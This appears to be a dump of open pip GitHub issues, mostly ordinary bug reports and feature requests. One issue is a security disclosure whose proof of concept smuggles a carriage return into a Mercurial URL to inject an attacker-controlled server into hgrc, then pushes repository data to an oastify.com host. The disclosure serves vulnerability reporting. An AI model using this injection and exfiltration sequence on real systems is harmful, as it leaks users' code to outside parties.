  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 158, in __init__
    self.dist = self._prepare()
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 227, in _prepare
    dist = self._prepare_distribution()
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/resolution/resolvelib/candidates.py", line 299, in _prepare_distribution
    return preparer.prepare_linked_requirement(self._ireq, parallel_builds=True)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 487, in prepare_linked_requirement
    return self._prepare_linked_requirement(req, parallel_builds)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 532, in _prepare_linked_requirement
    local_file = unpack_url(
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 214, in unpack_url
    file = get_http_url(
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/operations/prepare.py", line 94, in get_http_url
    from_path, content_type = download(link, temp_dir.path)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/network/download.py", line 146, in __call__
    for chunk in chunks:
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/cli/progress_bars.py", line 304, in _rich_progress_bar
    for chunk in iterable:
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_internal/network/utils.py", line 63, in response_chunks
    for chunk in response.raw.stream(
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/urllib3/response.py", line 576, in stream
    data = self.read(amt=amt, decode_content=decode_content)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/urllib3/response.py", line 541, in read
    raise IncompleteRead(self._fp_bytes_read, self.length_remaining)
  File "/opt/hostedtoolcache/Python/3.8.16/x64/lib/python3.8/contextlib.py", line 131, in __exit__
    self.gen.throw(type, value, traceback)
  File "/home/runner/work/sentry/sentry/.venv/lib/python3.8/site-packages/pip/_vendor/urllib3/response.py", line 443, in _error_catcher
    raise ReadTimeoutError(self._pool, None, "Read timed out.")
pip._vendor.urllib3.exceptions.ReadTimeoutError: HTTPSConnectionPool(host='pypi.devinfra.sentry.io', port=443): Read timed out.
```
</details>

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: asottile-sentry
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12382: state: open
title: Arbitrary Configuration Injection from a CLI input in pypa/pip
body: ### Description

An **arbitrary configuration injection** happens when the application in an unsanitized way considers the user input and can reach the configuration file. Under those circumstances, a malicious user may be able to craft a special payload to inject data into the underlying configuration file.

### Details 

The code snippet from the main branch located at [/pip/_internal/vcs/mercurial.py#L61-L67](https://github.com/pypa/pip/blob/main/src/pip/_internal/vcs/mercurial.py#L61-L67) retrieves the content value of the variable `url.secret` and store it within `paths` section, `default` option in the `hgrc` configuration file.

```python
            repo_config = os.path.join(dest, self.dirname, "hgrc")
            config = configparser.RawConfigParser()
            try:
                config.read(repo_config)
                config.set("paths", "default", url.secret)
                with open(repo_config, "w") as config_file:
                    config.write(config_file)
```

The issue here is the value of `url.secret` is not sanitized but rather goes into the URL parsing mechanism (decomposition/recomposition) within the function `get_url_rev_and_auth()`. The latter is located at [src/pip/_internal/vcs/versioncontrol.py#L398](https://github.com/pypa/pip/blob/9ca96dd8a8f40a824cb8315f5b9c080fccf24ca9/src/pip/_internal/vcs/versioncontrol.py#L398).

```python
    def get_url_rev_and_auth(cls, url: str) -> Tuple[str, Optional[str], AuthInfo]:
        """
        Parse the repository URL to use, and return the URL, revision,
        and auth info to use.

        Returns: (url, rev, (username, password)).
        """
        scheme, netloc, path, query, frag = urllib.parse.urlsplit(url)
        if "+" not in scheme:
            raise ValueError(
                "Sorry, {!r} is a malformed VCS url. "
                "The format is <vcs>+<protocol>://<url>, "
                "e.g. svn+http://myrepo/svn/MyApp#egg=MyApp".format(url)
            )
        # Remove the vcs prefix.
        scheme = scheme.split("+", 1)[1]
        netloc, user_pass = cls.get_netloc_and_auth(netloc, scheme)
        rev = None
        if "@" in path:
            path, rev = path.rsplit("@", 1)
            if not rev:
                raise InstallationError(
                    "The URL {!r} has an empty revision (after @) "
                    "which is not supported. Include a revision after @ "
                    "or remove @ from the URL.".format(url)
                )
        url = urllib.parse.urlunsplit((scheme, netloc, path, query, ""))
        return url, rev, user_pass
```

The `HiddenText` part of the url is coming from the `switch()` function call located at [src/pip/_internal/vcs/versioncontrol.py#L588](https://github.com/pypa/pip/blob/9ca96dd8a8f40a824cb8315f5b9c080fccf24ca9/src/pip/_internal/vcs/versioncontrol.py#L588). the switch function is invoked when the user presses "s" when prompted to.

```python
# Do nothing if the response is "i".
        if response == "s":
            [logger.info](http://logger.info/)(
                "Switching %s %s to %s%s",
                self.repo_name,
                display_path(dest),
                url,
                rev_display,
            )
            self.switch(dest, url, rev_options)
```

### Sink / Source 

 - The Source is the CLI user input for the argument `-e`.
 - The Sink is the value written into the configuration file `config.set("paths", "default", url.secret)`.

### PoC 

Consider `$CR` equals the Unicode character \u0D. In case the user initiates the following command. 
The user when prompted would press "s" for switching.

```bash
python3 -m pip install -e "hg+https://u/?"$CR"myserver = https://hcxxfzscpx8m3abbnscjqsd5dwjn7dv2.oastify.com/qmycom@www.mercurial-scm.org/repo/hg/@stable#egg=hg" > /dev/null 2>&1
```

The configuration file would contain an injected option/value couple for the `myserver` option. This means the payload permits the injection into the `paths` section, the option `myserver` with the value of an attacker-controlled URL. Sweet !

### Runnable PoC 

I made a PoC to reproduce the circumstances of the switch.

```Dockerfile
# Use the official Python 3.8 slim-buster image as the base image
FROM python:3.8.0-slim-buster

# Install any necessary dependencies
RUN apt-get update && \
    apt-get install -y --no-install-recommends \
        build-essential \
        libpq-dev \
        fish \
        python3-pip \
        && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Upgrade pip and install Python a dependency
RUN pip install --upgrade pip && pip install mercurial 

# Set the working directory to /app
WORKDIR /app

# Copy the current directory contents into the container at /app
COPY . /app

# Set Fish as the default shell for the container
SHELL ["/usr/bin/fish"]
```

docker-compose 

```Dockerfile
version: "3.9"

services:
  your-app:
    build:
      context: .
      dockerfile: Dockerfile
    image: your-image-name
    volumes:
      - ./poc4.sh:/app/poc4.sh   # Mount the poc.sh script into the container
    command: ["fish", "/app/poc4.sh"]   # Set the command to run the Fish script

```

and 


```bash
#!/bin/fish

python3 --version
python3 -m pip --version
hg --version


python3 -m pip install -e "hg+https://foss.heptapod.net/mercurial/hg-git/#egg=hg-git" > /dev/null 2>&1
echo -ne "s" | python3 -m pip install -e "hg+https://useranaaame:passsword@www.mercurial-scm.org/repo/hg/#egg=hg" > /dev/null 2>&1

set -l CR (printf "\u0D")
set -l LF (printf "\u0A")
set -l TAB (printf "\u09")
set -l x (printf "\u0085")

echo -ne "s" | python3 -m pip install -e "hg+https://u?"$CR"myserver = https://hcxxfzscpx8m3abbnscjqsd5dwjn7dv2.oastify.com/qmycom@www.mercurial-scm.org/repo/hg/@stable#egg=hg" > /dev/null 2>&1
cat src/hg/.hg/hgrc
cd src/hg/ && hg config paths && hg config pager && cd ../../

echo "==================exploit================";
echo "test sim4n6" > /app/src/hg/test.txt
cd /app/src/hg/ && hg push -f --insecure myserver
cd /app/src/hg/ && hg pull -f --insecure myserver

```

To test the PoC:

```bash
sudo docker-compose up --build
```




### Expected behavior

During the URL decomposition and recomposition, the special characters need to be sanitized. Some characters are slipping through unsanitized.




### pip version

pointed out by the commit 9ca96dd8a8f40a824cb8315f5b9c080fccf24ca9

### Python version

python:3.8.0-slim-buster

### OS

Debian buster version 

### How to Reproduce

_The Description Section contains the whole report._

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Sim4n6
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12379: state: open
title: Improve cache use when downloading from url + hashes
body: ### What's the problem this feature will solve?

My workflow is that for development environment, I make a clear virtual env each time, usually specific to a branch.
I have all the packages set as urls with required hashes for security. Installing it is relatively slow partially because it contacts the server for every package. Even if it has the file in cache and can check it against the hash.

### Describe the solution you'd like

I would love to have it so that the cache is checked prior to making an http call.

My prototype code is here (the paths were based on python paths):

```
diff --git a/lib/python3.11/site-packages/pip/_internal/network/download.py b/lib/python3.11/site-packages/pip/_internal/network/download.py
index 79b82a5..f477dca 100644
--- a/lib/python3.11/site-packages/pip/_internal/network/download.py
+++ b/lib/python3.11/site-packages/pip/_internal/network/download.py
@@ -128,6 +128,19 @@ class Downloader:
         self._session = session
         self._progress_bar = progress_bar
 
+    def check_cache(self, link: Link, location: str) -> str:
+        target_url = link.url.split("#", 1)[0]
+        adapter = self._session.get_adapter(target_url)
+        try:
+            if data := adapter.cache.get(target_url):
+                resp = adapter.controller.serializer.loads(None, data)
+                filepath = os.path.join(location, link.filename)
+                with open(filepath, 'wb') as content_file:
+                    content_file.write(resp.data)
+                return filepath
+        except Exception:
+            pass
+
     def __call__(self, link: Link, location: str) -> Tuple[str, str]:
         """Download the file given by link into location."""
         try:
diff --git a/lib/python3.11/site-packages/pip/_internal/operations/prepare.py b/lib/python3.11/site-packages/pip/_internal/operations/prepare.py
index cb121bc..1f3193e 100644
--- a/lib/python3.11/site-packages/pip/_internal/operations/prepare.py
+++ b/lib/python3.11/site-packages/pip/_internal/operations/prepare.py
@@ -103,10 +103,19 @@ def get_http_url(
         from_path = already_downloaded_path
         content_type = None
     else:
-        # let's download to a tmp dir
-        from_path, content_type = download(link, temp_dir.path)
-        if hashes:
-            hashes.check_against_path(from_path)
+        if hashes:  # bypass http headers only in case we have a hash
+            content_type = None
+            if from_path := download.check_cache(link, temp_dir.path):
+                try:
+                    hashes.check_against_path(from_path)
+                except HashMismatch:
+                    from_path = None
+                    
+        if from_path is None:
+            # let's download to a tmp dir
+            from_path, content_type = download(link, temp_dir.path)
+            if hashes:
+                hashes.check_against_path(from_path)
 
     return File(from_path, content_type)
 
```

### Alternative Solutions

I suppose I could use poetry but this would mean a big change for me.

### Additional context

So the result is that it takes 15-20 seconds vs 35 with the http calls.
I tried to make it only when we have hashes. My knowledge about the code is relatively low. Please don't be too harsh with me ;)

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: thierryba
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12378: state: open
title: Print out from recent install
body: ### Description

Below is the printout from my install of python3.10.  I had to install this specific version in order to meet dep. of Havoc C2 framework build.  I haven't built it at time of this writing, isssues appeared to have something to do with a true/false issue in the ssl or openssl part.  

WARNING: Value for scheme.headers does not match. Please report this to <https://github.com/pypa/pip/issues/10151>
distutils: /usr/local/include/python3.10/UNKNOWN                                                                                             
sysconfig: /home/ghost/Downloads/Python-3.10.0/Include/UNKNOWN                                                                               
WARNING: Additional context:
user = False                                                                                                                                 
home = None                                                                                                                                  
root = '/'                                                                                                                                   
prefix = None                                                                                                                                
Looking in links: /tmp/tmprnnkhq29
Processing /tmp/tmprnnkhq29/setuptools-57.4.0-py3-none-any.whl
Processing /tmp/tmprnnkhq29/pip-21.2.3-py3-none-any.whl
Installing collected packages: setuptools, pip
  WARNING: Value for scheme.headers does not match. Please report this to <https://github.com/pypa/pip/issues/10151>
  distutils: /usr/local/include/python3.10/setuptools                                                                                        
  sysconfig: /home/ghost/Downloads/Python-3.10.0/Include/setuptools                                                                          
  WARNING: Value for scheme.headers does not match. Please report this to <https://github.com/pypa/pip/issues/10151>
  distutils: /usr/local/include/python3.10/pip                                                                                               
  sysconfig: /home/ghost/Downloads/Python-3.10.0/Include/pip                                                                                 
Successfully installed pip-21.2.3 setuptools-57.4.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv                

### Expected behavior

I never know what is gonna happen with downloading.  I've broke my repo so many times I expect the worst.

### pip version

not installled

### Python version

3.10

### OS

Kali Linuux 2023.3

### How to Reproduce

.configure --enable-optimizations
make
make test
make install

### Output

WARNING: Value for scheme.headers does not match. Please report this to <https://github.com/pypa/pip/issues/10151>
distutils: /usr/local/include/python3.10/UNKNOWN                                                                                             
sysconfig: /home/ghost/Downloads/Python-3.10.0/Include/UNKNOWN                                                                               
WARNING: Additional context:
user = False                                                                                                                                 
home = None                                                                                                                                  
root = '/'                                                                                                                                   
prefix = None                                                                                                                                
Looking in links: /tmp/tmprnnkhq29
Processing /tmp/tmprnnkhq29/setuptools-57.4.0-py3-none-any.whl
Processing /tmp/tmprnnkhq29/pip-21.2.3-py3-none-any.whl
Installing collected packages: setuptools, pip
  WARNING: Value for scheme.headers does not match. Please report this to <https://github.com/pypa/pip/issues/10151>
  distutils: /usr/local/include/python3.10/setuptools                                                                                        
  sysconfig: /home/ghost/Downloads/Python-3.10.0/Include/setuptools                                                                          
  WARNING: Value for scheme.headers does not match. Please report this to <https://github.com/pypa/pip/issues/10151>
  distutils: /usr/local/include/python3.10/pip                                                                                               
  sysconfig: /home/ghost/Downloads/Python-3.10.0/Include/pip                                                                                 
Successfully installed pip-21.2.3 setuptools-57.4.0
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv                

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: AnonymousRonin
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12377: state: open
title: Unimplemented `WheelDistribution` abstract methods deprecation in Python 3.12
body: ### Description

```
DeprecationWarning: Unimplemented abstract methods {'locate_file'}
```

Located in https://github.com/pypa/pip/blob/fd77ebfc742de4d76ff976de22e86d116e0faad3/src/pip/_internal/metadata/importlib/_dists.py#L36


### Expected behavior

No deprecation warnings are emitted

### pip version

23.3.1

### Python version

3.12

### OS

macOS

### How to Reproduce

1. `virtualenv venv --python python3.12 --pip 23.3.1`
2. `source venv/bin/activate`
3. `pip install requests`


### Output

```
(venv)$ pip install requests       
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_envs.py:111: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pip._vendor.pkg_resources import find_distributions
Collecting requests
  Using cached requests-2.31.0-py3-none-any.whl.metadata (4.6 kB)
Collecting charset-normalizer<4,>=2 (from requests)
  Downloading charset_normalizer-3.3.1-cp312-cp312-macosx_11_0_arm64.whl.metadata (33 kB)
Collecting idna<4,>=2.5 (from requests)
  Using cached idna-3.4-py3-none-any.whl (61 kB)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
Collecting urllib3<3,>=1.21.1 (from requests)
  Using cached urllib3-2.0.7-py3-none-any.whl.metadata (6.6 kB)
Collecting certifi>=2017.4.17 (from requests)
  Using cached certifi-2023.7.22-py3-none-any.whl.metadata (2.2 kB)
Using cached requests-2.31.0-py3-none-any.whl (62 kB)
Using cached certifi-2023.7.22-py3-none-any.whl (158 kB)
Downloading charset_normalizer-3.3.1-cp312-cp312-macosx_11_0_arm64.whl (117 kB)
   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 117.2/117.2 kB 1.4 MB/s eta 0:00:00
Using cached urllib3-2.0.7-py3-none-any.whl (124 kB)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
Installing collected packages: urllib3, idna, charset-normalizer, certifi, requests
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
/repr-pip-issue/venv/lib/python3.12/site-packages/pip/_internal/metadata/importlib/_dists.py:73: DeprecationWarning: Unimplemented abstract methods {'locate_file'}
  return cls(files, info_location)
Successfully installed certifi-2023.7.22 charset-normalizer-3.3.1 idna-3.4 requests-2.31.0 urllib3-2.0.7
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: edgarrmondragon
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12375: state: open
title: Packaging itstool-2.0.7 does not produce a .exe file for itstool
body: ### Description

Hi,

As suggested by one of the Meson build system maintainers[1], I was suggested to open a bug here:

With the following `setup.py` that is derived from configuring itstool on Windows, using Cygwin to call a non-Cygwin installation of Python:

```
#!/usr/bin/env python

# setup.py.in is converted to setup.py by the configure script. This is not
# intended as the recommended way to build and install itstool. See the INSTALL
# file for details on installing with make. This file is here to make it easier
# to upload itstool to pypi.

from distutils.core import setup

setup(name='itstool',
      version='2.0.7',
      description='XML to PO and back again using W3C ITS rules',
      author='Shaun McCance',
      author_email='shaunm@gnome.org',
      url='http://itstool.org/',
      scripts=['itstool'],
      data_files=[('c:/tools/itstool-2.0.7/share/itstool/its', [
          'its/docbook.its',
          'its/docbook5.its',
          'its/its.its',
          'its/mallard.its',
          'its/ttml.its',
          'its/xhtml.its',
      ])]
)
```

I was able to build a wheel using `python -m pip wheel .` (resulting in a `itstool-2.0.7-py3-none-any.whl` file), but the resulting wheel did not package the itstool script into an `.exe` file upon installation, but installed it as-is as a Python script, with a shebang line that pointed to the Python installation that was used to install the wheel.  As a result, on Windows `cmd.exe` consoles, as shebang lines are not supported directly, just running `itstool` fails but will work when one calls `python <path-to-itstool-script>`.

[1]: https://github.com/mesonbuild/meson/pull/12416#issuecomment-1778442198

With blessings, thank you!

### Expected behavior

An `itstool.exe` is produced, that can be run directly if it is in the `%PATH%` or when called with the full path to it.

### pip version

23.3.1

### Python version

Python 3.7+

### OS

Windows 10 x64

### How to Reproduce

1. Download, unpack and install libxml2 and its Python module, from https://download.gnome.org/sources/libxml2/2.11/libxml2-2.11.5.tar.xz using Visual Studio 2015 or later:
```
$ cd $(sourcedir)\win32
$ cscript configure.js zlib=no iconv=no python=yes # We are using minimal deps for libxml2 here, to simplify things

$ nmake & nmake install
$ cd ..\python # Change line 17 of setup.py from ROOT = r'.' to ROOT = r'..\win32'
$ $(PYTHON) -m pip install . # This will install the libxml2 Python module with the libxml2 DLL.
```
2. Download the latest itstool from https://itstool.org/download.html, and unpack
3. Replace the contents of `setup.py` with the one in the description (note that only that paths should differ from the copy that shipped with the itstool tarball), and install using `$(PYTHON) -m pip install .`  There will be no `itstool.exe` in the scripts directory upon install.

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: fanc999-1
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_12365: state: open
title: pip freeze strips VCS credential env vars
body: ### Description

Installing from a VCS URL that included credentials as environment variables, those variables are stripped from the `"url"` in `direct_url.json`, meaning they are also not included in the output of `pip freeze`.

Original comment: https://github.com/pypa/pip/issues/11410#issuecomment-1742459945

### Expected behavior

I would expect the `"url"` field in `direct_url.json` to include the environment variables that are used for authentication.

### pip version

22.0.2

### Python version

3.10.12

### OS

Ubuntu 22.04

### How to Reproduce

1. Create a `venv` virutal environment
2. Activate the environment
3. Add a VCS URL containing environment variables to a `requirements.txt` file
4. Run `pip install -r requirements.txt`
5. Inspect `direct_url.json` or run `pip freeze`

### Output

```bash
$ mkdir pip-test; cd pip-test
$ echo "resolvelib @ git+https://${TEST_USER}:${TEST_PASS}@github.com/sarugaku/resolvelib@1.0.1" > requirements.txt
$ python3 -m venv .venv
$ . .venv/bin/activate
$ export TEST_USER="test-user"
$ export TEST_PASS="test-pass"
$ pip install -r requirements.txt
Collecting resolvelib@ git+https://:@github.com/sarugaku/resolvelib@1.0.1
  Cloning https://:****@github.com/sarugaku/resolvelib (to revision 1.0.1) to /tmp/pip-install-jq6_4h_8/resolvelib_b660f6e7cd70411981cf94b5c4a10857
  Running command git clone --filter=blob:none --quiet 'https://:****@github.com/sarugaku/resolvelib' /tmp/pip-install-jq6_4h_8/resolvelib_b660f6e7cd70411981cf94b5c4a10857
  warning: redirecting to https://github.com/sarugaku/resolvelib/
  Running command git checkout -q 969c5c75ded426dac43eff9619e1e857f22f37bb
  warning: redirecting to https://github.com/sarugaku/resolvelib/
  Resolved https://:****@github.com/sarugaku/resolvelib to commit 969c5c75ded426dac43eff9619e1e857f22f37bb
  Installing build dependencies ... done
  Getting requirements to build wheel ... done
  Preparing metadata (pyproject.toml) ... done
Building wheels for collected packages: resolvelib
  Building wheel for resolvelib (pyproject.toml) ... done
  Created wheel for resolvelib: filename=resolvelib-1.0.1-py2.py3-none-any.whl size=17195 sha256=b4352dc966ecd7ddfd72a009d6f370860bff476027ab34990265cdbf5e8aa2f7
  Stored in directory: /tmp/pip-ephem-wheel-cache-e4my4hf4/wheels/37/d4/ac/771993aa3deae60395d34f040f543177533359d0efa0034ecf
Successfully built resolvelib
Installing collected packages: resolvelib
Successfully installed resolvelib-1.0.1
$ python -m json.tool .venv/lib/python3.10/site-packages/resolvelib-1.0.1.dist-info/direct_url.json
{
    "url": "https://github.com/sarugaku/resolvelib",
    "vcs_info": {
        "commit_id": "c9ef371ad96e698bf3e0bb09acc682bd43e39bd7",
        "requested_revision": "1.0.1",
        "vcs": "git"
    }
}
$ pip freeze
resolvelib @ git+https://github.com/sarugaku/resolvelib@c9ef371ad96e698bf3e0bb09acc682bd43e39bd7
```

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: connesy
labels: type: enhancement: Improvements to functionality
C: freeze: 'pip freeze' related
C: requirement file: Using `requirements.txt`
C: direct url: Direct URL references (PEP 440, PEP 508, PEP 610)
issue_12362: state: open
title: Feature: Allow to "All Except ...." for --only/--no-binary.
body: This is an attempt to fix #12348,

This allow to negate a package when using --only-binary, or --no-binary in addition to using `:all:` by prefixing the package with a `~`.

As noted in the issue this is not a perfect solution as we likely should maybe rethink the API, but I was hoping to achieve something useful and minimally invasive – at least to see what it entails.

With this patch doing:

pip install --only-binary=:all:,~foo --no-binary=bar  qux

Will try to install all dependencies from wheels except:
    - bar will installed only from tgz
    - foo either tgz or sdist.

At minimum, I think we can refactor FormatControl a bit to not expose the internal implementation details, which I did with 2 class methods and update to cmdoptions.py (I'm happy to pull that into a separate refactor commit/PR if you wish)

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: Carreau
issue_12360: state: open
title: (🎁) `install.require-virtualenv` / `PIP_REQUIRE_VIRTUALENV` is painful to work with
body: ### What's the problem this feature will solve?

When I want to install something to the global python environment, I get blocked by `install.require-virtualenv`, and it's harder than it needs to be to work around it.

```console
> py -m pip install -U pip
ERROR: Could not find an activated virtualenv (required).
> #Ah yes, I need to override my user config
> $env:PIP_REQUIRE_VIRTUALENV = $false; py -m pip install -U pip; $env:PIP_REQUIRE_VIRTUALENV = $null
```

### Describe the solution you'd like

A `--no-require-virtualenv` (or equivalent) flag:
```
> py -m pip --install -U pip
ERROR: Could not find an activated virtualenv (required).
Override with the `--no-require-virtualenv` option.
> py -m pip --install -U pip --no-require-virtualenv
Ah yes, you can install globally!
```

Or, a `--global` flag? not sure what implications that would have.

### Alternative Solutions

Write a shell function to use 'global' pip:
```powershell
function gpip() {
    $old = $env:PIP_REQUIRE_VIRTUALENV
    $env:PIP_REQUIRE_VIRTUALENV = $false
    try {
        py -m pip $args
    } finally {
        $env:PIP_REQUIRE_VIRTUALENV = old
    }
}

> gpip install pipx  # ah yes, it works properly
```

### Additional context

npm has the concept of a `--global` flag (the default is local, not global like pip):
https://docs.npmjs.com/downloading-and-installing-packages-globally

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: KotlinIsland
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_12348: state: open
title: Allow to use --only-binary=:all: but exclude a few packages.
body: ### What's the problem this feature will solve?

I like to have `--only-binaries=:all:`, especially in CI, but not all packages are availlable as binary everywhere (especially since 3.12 is recent). 

I'd like to say "all binary, except for X, Y, Z". doing `--only-binaries=:all: --no-binary=X,Y,Z` does not cut it as now on older Python where binary _is_ available it will still use the TGZ.

### Describe the solution you'd like

Either a flag `--binary-or-source=X,Y,Z`, or a syntax to say `--only-binary=:all:,-X,-Y,-Z`

Note that this is different from `--prefer-binary`.

### Alternative Solutions

- List all packages instead of `:all:`. 

It is impractical because of the potential CLI length, and recursive dependencies that may change.


- Ask upstream to publish wheels (not always possible)
- Install in several steps with combinaison of flags (not always possible).

### Additional context

I believe that should not be too invasive of a change as most changes should be on the `FormatControl` class if my understanding is correct.

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: Carreau
labels: type: feature request: Request for a new feature
issue_12346: state: open
title: Replace confusing `pyproject.toml` with backend string in logs
body: In #12339, it was pointed out that displaying logs like:

```
Preparing editable metadata (pyproject.toml): started
Preparing editable metadata (pyproject.toml): finished with status 'done'
Building editable for X (pyproject.toml): started
Building editable for X (pyproject.toml): finished with status 'done'
```

can be a source of confusion for users, when the package does not contain any `pyproject.toml`.

Since the API-based build process (described in PEP 517/660) does not actually need a `pyproject.toml`, I propose that a better way to communicate to the end-user this is the kind of process being used would be to show the "backend string".

If we take the logs above as example, this change would mean printing the following:

```
Preparing editable metadata (setuptools.build_meta:__legacy__): started
Preparing editable metadata (setuptools.build_meta:__legacy__): finished with status 'done'
Building editable for X (setuptools.build_meta:__legacy__): started
Building editable for X (setuptools.build_meta:__legacy__): finished with status 'done'
```

This should leave less margin of confusion, and communicate clearly for anyone trying to debug a problem what is the direction to look for.

Resolves #12339.

<!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->

user: abravalheri
issue_12342: state: open
title: Stabilize pip index
body: ### What's the problem this feature will solve?

`pip index` has been marked experimental for two years now. It would be great if the interface could be stabilized for usage by external tools.

### Describe the solution you'd like

Stabilize the command. I'm willing to help with any outstanding issues.

### Alternative Solutions

not relevant

### Additional context

I haven't managed to find any tickets regarding stabilization or a path forward for this feature, so I created this one. Feel free to point me there if there are any.

Related issues I found:

- https://github.com/pypa/pip/issues/10052
- https://github.com/pypa/pip/issues/10983

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: sigma67
labels: type: feature request: Request for a new feature
issue_12330: state: open
title: Remove support for installed `.egg` distributions
body: pip has dropped support for installing `.egg` distributions when it stopped invoking `setup.py install`.
At some point pip will abandon support for detecting and uninstalling legacy `.egg` distributions too.

If you reach this issue from the pip deprecation message, it is likely that your Python environment has distributions that have been installed with `setup.py install`, `easy_install`, or an older pip version.

**The recommended action is to uninstall the distribution and reinstall it with a recent pip.**

user: sbidoul
issue_12319: state: open
